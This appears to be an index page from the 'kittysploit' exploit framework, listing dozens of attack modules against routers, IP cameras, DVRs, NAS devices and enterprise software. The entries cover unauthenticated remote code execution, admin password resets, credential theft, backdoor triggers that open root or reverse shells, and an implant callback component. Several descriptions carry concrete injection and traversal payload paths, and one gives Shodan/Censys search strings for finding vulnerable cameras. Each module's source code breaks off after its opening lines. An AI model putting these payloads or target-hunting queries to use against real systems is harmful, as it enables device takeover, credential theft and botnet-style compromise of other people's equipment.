Cisco Secure ACS Unauthorized Password Change

Module exploits an authentication bypass issue which allows arbitrary password change requests to be issued for any user in the local store. Instances of Secure ACS running version 5.1 with patches 3, 4, or 5 as well as version 5.2 with either no patches or patches 1 and 2 are vulnerable...

MVPower DVR Jaws RCE

Module exploits MVPower DVR Jaws RCE vulnerability through 'shell' resource.Successful exploitation allows remote unauthorized attacker to execute commands on operating system level. Vulnerablity was actively used by IoT Reaper botnet. !/usr/bin/env python3 -- coding: utf-8 -- """MVPower DVR Jaws...

Grandstream GXV3611 HD - Telnet Backdoor

Triggers the hidden Grandstream GXV3611 HD telnet backdoor !/ port lol which starts a root shell on TCP/20000, then opens a framework shell session. !/usr/bin/env python3 -- coding: utf-8 -- """Grandstream GXV3611 HD telnet backdoor trigger — opens framework shell session.""" import time from...

BEWARD N100 RCE

BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution.shodan search: WWW-Authenticate: Basic realm="N100 H.264 IP Camera"censys search: services.http.response.headers.wwwauthenticate:"N100 H.264 IP Camera"zoomeye search: "headers:"N100 H.264 IP Camera" !/usr/bin/env python3 -- coding:...

Cisco UCS Manager RCE

Module exploits Cisco UCS Manager 2.1 1b Remote Code Execution vulnerability which allows executing commands on operating system level. !/usr/bin/env python3 -- coding: utf-8 -- """Cisco UCS Manager RCE""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

TP-Link Archer C9 admin password reset (CVE-2017-11519)

Module exploits TP-Link Archer C9 password reset feature by leveraging a predictable random number generator seed. !/usr/bin/env python3 -- coding: utf-8 -- """TP-Link Archer C9 admin password reset CVE-2017-11519""" import json import re from kittysploit import from lib.protocols.http.httpclient...

Cisco RV320 Command Injection

Module exploits Cisco RV320 Remote Command Injection vulnerability in the web-based certificate generator feature. !/usr/bin/env python3 -- coding: utf-8 -- """Cisco RV320 Command Injection""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Jovision camera credential disclosure

Exploit implementation for jovision IP camera Credential Disclosure vulnerability. If target is vulnerable details of user accounts on the device including usernames and passwords are returned. !/usr/bin/env python3 -- coding: utf-8 -- """Jovision camera credential disclosure""" import json impor...

D-Link DWL-3200AP Password Disclosure

Exploits D-Link DWL3200 access points weak cookie value. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DWL-3200AP Password Disclosure""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleAuxiliary, Httpclient: info = 'name': 'D-Link DWL-3200A...

Multiple CCTV-DVR Vendors

Remote Code Execution in CCTV-DVR affecting over 70 different vendors !/usr/bin/env python3 -- coding: utf-8 -- """Multiple CCTV-DVR Vendors""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleAuxiliary, Httpclient: info = 'name': 'Multiple CCTV-D...

Huawei HG866 Password Change

Module exploits password change vulnerability in Huawei HG866 devices. If the target is vulnerable it allows to change administration password. !/usr/bin/env python3 -- coding: utf-8 -- """Huawei HG866 Password Change""" import re from kittysploit import from lib.protocols.http.httpclient import...

Zyxel Eir D1000 RCE

Module exploits Remote Command Execution vulnerability in Zyxel/Eir D1000 devices. If the target is vulnerable it allows to execute commands on operating system level. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel Eir D1000 RCE""" from kittysploit import from lib.protocols.http.httpclient...

3Com IMC Path Traversal

Exploits 3Com Intelligent Management Center path traversal vulnerability. If the target is vulnerable it is possible to read file from the filesystem. !/usr/bin/env python3 -- coding: utf-8 -- """3Com IMC Path Traversal""" import re from kittysploit import from lib.protocols.http.httpclient impor...

Mikrotik WinBox Auth Bypass - Creds Disclosure

Module bypass authentication through WinBox service in Mikrotik devices versions from 6.29 release date: 2015/28/05 to 6.42 release date 2018/04/20 and retrieves administrative credentials. !/usr/bin/env python3 -- coding: utf-8 -- """Mikrotik WinBox Auth Bypass - Creds Disclosure""" import re fr...

Grandstream GXV3611 HD - Telnet SQL Injection

SQL injection in the Grandstream GXV3611 HD telnet login resets the admin password to 'a', triggers the !/ port lol backdoor on TCP/20000, then opens a framework shell session. !/usr/bin/env python3 -- coding: utf-8 -- """Grandstream GXV3611 HD telnet SQLi — opens framework shell session.""" impo...

Netgear DGN2200 RCE

Exploits Netgear DGN2200 RCE vulnerability in the ping.cgi script. !/usr/bin/env python3 -- coding: utf-8 -- """Netgear DGN2200 RCE""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.exploit.handler import Handler class ModuleExploit, Httpclient, Handler: inf...

D-Link PingTest RCE

Module exploits unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who...

Netgear DGN2200 RCE

Exploits Netgear DGN2200 RCE vulnerability through dnslookup.cgi resource. !/usr/bin/env python3 -- coding: utf-8 -- """Netgear DGN2200 RCE""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.exploit.handler import Handler class ModuleExploit, Httpclient,...

D-Link DSP-W110 RCE

Module exploits D-Link DSP-W110 Remote Command Execution vulnerability which allows executing command on the operating system level. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DSP-W110 RCE""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

Agent Local Store (PowerShell)

Bootstrap encrypted local task storage on the implant before callback !/usr/bin/env python3 -- coding: utf-8 -- """Bootstrap encrypted agent-side task storage before callback PowerShell emitter.""" from typing import Any, Dict from kittysploit import from...

D-Link DIR-8XX Password Disclosure

Module exploits D-Link DIR-8XX password disclosure vulnerability, which allows retrieving administrative credentials. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DIR-8XX Password Disclosure""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

ipTIME A3004T EAD Service - Pre-auth RCE (UDP/56026)

Pre-authentication remote command execution in ipTIME A3004T firmware 14.19.0 OpenWrt / MediaTek MT7621. The EAD service binds to UDP/56026 without source-IP filtering; EADTYPESENDCMD 0x0a reaches system in handlesendcmd. Opens a reverse shell session default payload or a blind UDP execute sessio...

Orkes Conductor / Conductor OSS < 3.30.2 - Unauthenticated RCE (CVE-2026-58138)

CVE-2026-58138: Conductor OSS and Orkes Conductor versions below 3.30.2 allow unauthenticated remote code execution by registering a workflow with a malicious INLINE JavaScript task that abuses unsandboxed GraalVM HostAccess.ALL for Java reflection and Runtime.exec. !/usr/bin/env python3 -- codin...

JetDirect / PJL Service Detection (port 9100)

Detects network printers exposing raw JetDirect/AppSocket on TCP 9100 and probes the PJL command interface with INFO ID. Optionally checks whether FSUPLOAD path traversal returns /etc/passwd content. !/usr/bin/env python3 -- coding: utf-8 -- """Detect HP JetDirect / AppSocket raw printing and PJL...

Play Framework - public Path Traversal File Read

Reads arbitrary files via Play Framework /public/..%2f traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via Play Framework /public/.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class...

Buffalo LinkStation - Arbitrary File Read (CVE-2025-26167)

Buffalo LinkStation exposes /rpc/cat/?inter=1 without authentication, allowing remote attackers to read arbitrary files e.g. password hashes. !/usr/bin/env python3 -- coding: utf-8 -- """Buffalo LinkStation unauthenticated arbitrary file read via /rpc/cat/ CVE-2025-26167.""" import re from...

D-Link DIR-816 - SystemCommand Command Injection

Exploits DIR-816 /goform/SystemCommand after extracting tokenid from /dirlogin.asp. Command output is not always echoed; uses time-based check then best-effort execute. Prefer writing to a reachable path when possible. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DIR-816 SystemCommand RCE ...

Green Packet Router - ajax.cgi RCE Detection

Detects Green Packet OS command injection via /ajax.cgi?action=tagipPing&pip=127.0.0.1%26id%26. !/usr/bin/env python3 -- coding: utf-8 -- """Green Packet router ajax.cgi OS command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

HUMAX Gateway - Backup Download Detection (CVE-2017-7315)

Detects CVE-2017-7315 by requesting /view/basic/GatewaySettings.bin without authentication and matching download headers. !/usr/bin/env python3 -- coding: utf-8 -- """HUMAX GatewaySettings.bin unauthenticated download CVE-2017-7315.""" from kittysploit import from lib.protocols.http.httpclient...

Synology DSM Drive Server - Auth Bypass Token Leak (CVE-2024-50630)

Synology Drive Server on DSM allows unauthenticated attackers to read Drive logs via RedirectURI and obtain user access tokens via SYNO.SynologyDrive.Authentication CVE-2024-50630 / SA-24:21. Also indicates CVE-2024-50631 SQLi in sync daemon. !/usr/bin/env python3 -- coding: utf-8 -- """Synology...

ZENworks - UploadServlet RCE Detection (CVE-2015-0779)

Detects CVE-2015-0779 by uploading a JSP via UploadServlet path traversal into zenworks/jsp/core/upload and verifying execution. !/usr/bin/env python3 -- coding: utf-8 -- """Novell ZENworks UploadServlet arbitrary JSP upload CVE-2015-0779.""" from kittysploit import from...

PTZOptics Camera - Unauth RCE via NTP Config (CVE-2024-8957)

Chains CVE-2024-8956 missing auth on param.cgi with CVE-2024-8957 OS command injection in ntpaddr. Delivers a reverse CMD payload via POST /cgi-bin/param.cgi?postnetworkotherconf and waits for a shell session. !/usr/bin/env python3 -- coding: utf-8 -- """PTZOptics / VHD camera unauthenticated RCE...

Seagate BlackArmor NAS 220 - localJob.php RCE Detection

Detects command injection in /backupmgt/localJob.php?session=fail;++file%00 on Seagate BlackArmor NAS 220 Greenbone Jul 2021 active check. !/usr/bin/env python3 -- coding: utf-8 -- """Seagate BlackArmor NAS 220 backupmgt localJob.php command injection.""" import re import secrets from kittysploit...

securitydbData.xml - Credential Disclosure Detection

Detects exposed /conf/securitydbData.xml containing AUTHORIZATION-DATA passwords. !/usr/bin/env python3 -- coding: utf-8 -- """Multiple vendors conf/securitydbData.xml credential disclosure.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

TYPO3 - download.php localconf.php Disclosure Detection

Detects TYPO3 fileadmin/download.php LFI reading typo3conf/localconf.php TYPO3CONFVARS / typodbpassword. !/usr/bin/env python3 -- coding: utf-8 -- """Detects TYPO3 fileadmin/download.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

QNAP QTS - authLogin.cgi RCE (CVE-2017-6361)

Exploits command injection in QNAP /cgi-bin/authLogin.cgi rebootnoticemsg. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """QNAP QTS authLogin.cgi RCE CVE-2017-6361 — opens execute session.""" import base64 import re import time from kittysploit import from...

Mitel AWC - xsl Parameter RCE Detection

Detects Mitel Audio and Web Conferencing RCE via /awcuser/cgi-bin/vcs?xsl=/vcs/vcshome.xsl%26id%26 matching uid=. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Mitel Audio and Web Conferencing RCE via /awcuser/cgi-bin/vcs?xsl=/vcs/vcshome.""" import re from kittysploit import from...

FreePBX - Music Upload Filename RCE

Exploits FreePBX music module by injecting shell into multipart filename $CMD.wav on /admin/ajax.php?module=music&command=upload. !/usr/bin/env python3 -- coding: utf-8 -- """FreePBX music module filename RCE — opens execute session.""" import re from kittysploit import from...

Synology BeeStation Drive Server - Auth Bypass Token Leak (CVE-2024-50630)

Synology Drive Server on BeeStation BSM allows unauthenticated attackers to read Drive logs via RedirectURI and obtain user access tokens via SYNO.SynologyDrive.Authentication CVE-2024-50630 / SA-24:21. Also indicates CVE-2024-50631. !/usr/bin/env python3 -- coding: utf-8 -- """Synology Drive...

Express.js - Debug Mode Stack Trace Disclosure

Detects Express apps running with NODEENV=development or similar debug error handlers by sending a GET with Content-Type: application/json and a non-JSON body, then looking for a 400 response that leaks a SyntaxError stack / nodemodules path. !/usr/bin/env python3 -- coding: utf-8 -- """Express.j...

Traq - Unauthenticated Plugin Hook RCE

Exploits Traq by installing an unauthenticated plugin hook that executes attacker PHP, then cleans up the plugin. !/usr/bin/env python3 -- coding: utf-8 -- """Traq unauthenticated plugin hook RCE.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

phpMyFAQ - Compromised Package Backdoor Detection (CVE-2010-4558)

Detects CVE-2010-4558 via index.php?phpmyfaqnew=cGhwaW5mbygpOwo= phpinfo;. !/usr/bin/env python3 -- coding: utf-8 -- """phpMyFAQ backdoor CVE-2010-4558.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'phpMyFAQ -...

CasaOS - Unauth Config/Debug Disclosure (CVE-2025-34171)

CasaOS = 0.4.15 exposes unauthenticated /v1/users/image?path=... under /var/lib/casaos/1/ and /v1/sys/debug host information CVE-2025-34171. !/usr/bin/env python3 -- coding: utf-8 -- """CasaOS unauthenticated config/debug disclosure CVE-2025-34171.""" from kittysploit import from...

GeoVision GeoHttpServer - Path Traversal Detection

Detects GeoVision GeoHttpServer = 8.3.3.0 path traversal via /.../.../.../.../.../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """GeoVision GeoHttpServer path traversal.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

TWiki - debugenableplugins RCE Detection (CVE-2014-7236)

Detects CVE-2014-7236 by injecting Perl systemid via debugenableplugins on /view/Main/WebHome. !/usr/bin/env python3 -- coding: utf-8 -- """TWiki debugenableplugins RCE CVE-2014-7236.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import...

Accellion FTA - getStatus Command Injection (CVE-2015-2857)

Exploits CVE-2015-2857 by injecting OS commands via oauthtoken on /tws/getStatus. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Accellion FTA getStatus oauthtoken RCE CVE-2015-2857 — opens execute session.""" import re from urllib.parse import quote from...

vsftpd - Compromised Package Backdoor RCE (CVE-2011-2523)

Triggers the vsftpd 2.3.4 backdoor via USER X: then opens an interactive session against the shell on TCP/6200. !/usr/bin/env python3 -- coding: utf-8 -- """vsftpd 2.3.4 backdoor RCE CVE-2011-2523.""" import re import socket import time from kittysploit import from...

Sierra Wireless AceManager - Log Disclosure Detection (CVE-2015-6479)

Detects CVE-2015-6479 by requesting /filteredlogs.txt and matching ALEOS log markers. !/usr/bin/env python3 -- coding: utf-8 -- """Sierra Wireless AceManager filteredlogs.txt disclosure CVE-2015-6479.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Mundi Mail - mypid Command Injection Detection

Detects Mundi Mail RCE via /admin/status/index.php?action=stop&mypid=;id. !/usr/bin/env python3 -- coding: utf-8 -- """Mundi Mail mypid command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Mun...

A2Billing - Unauth SQL Dump Detection

Detects A2Billing backup abuse by triggering A2Bentitybackup.php dump to a guessable .sql path and downloading it. !/usr/bin/env python3 -- coding: utf-8 -- """A2Billing unauthenticated SQL dump via A2Bentitybackup.php.""" import time from kittysploit import from lib.protocols.http.httpclient...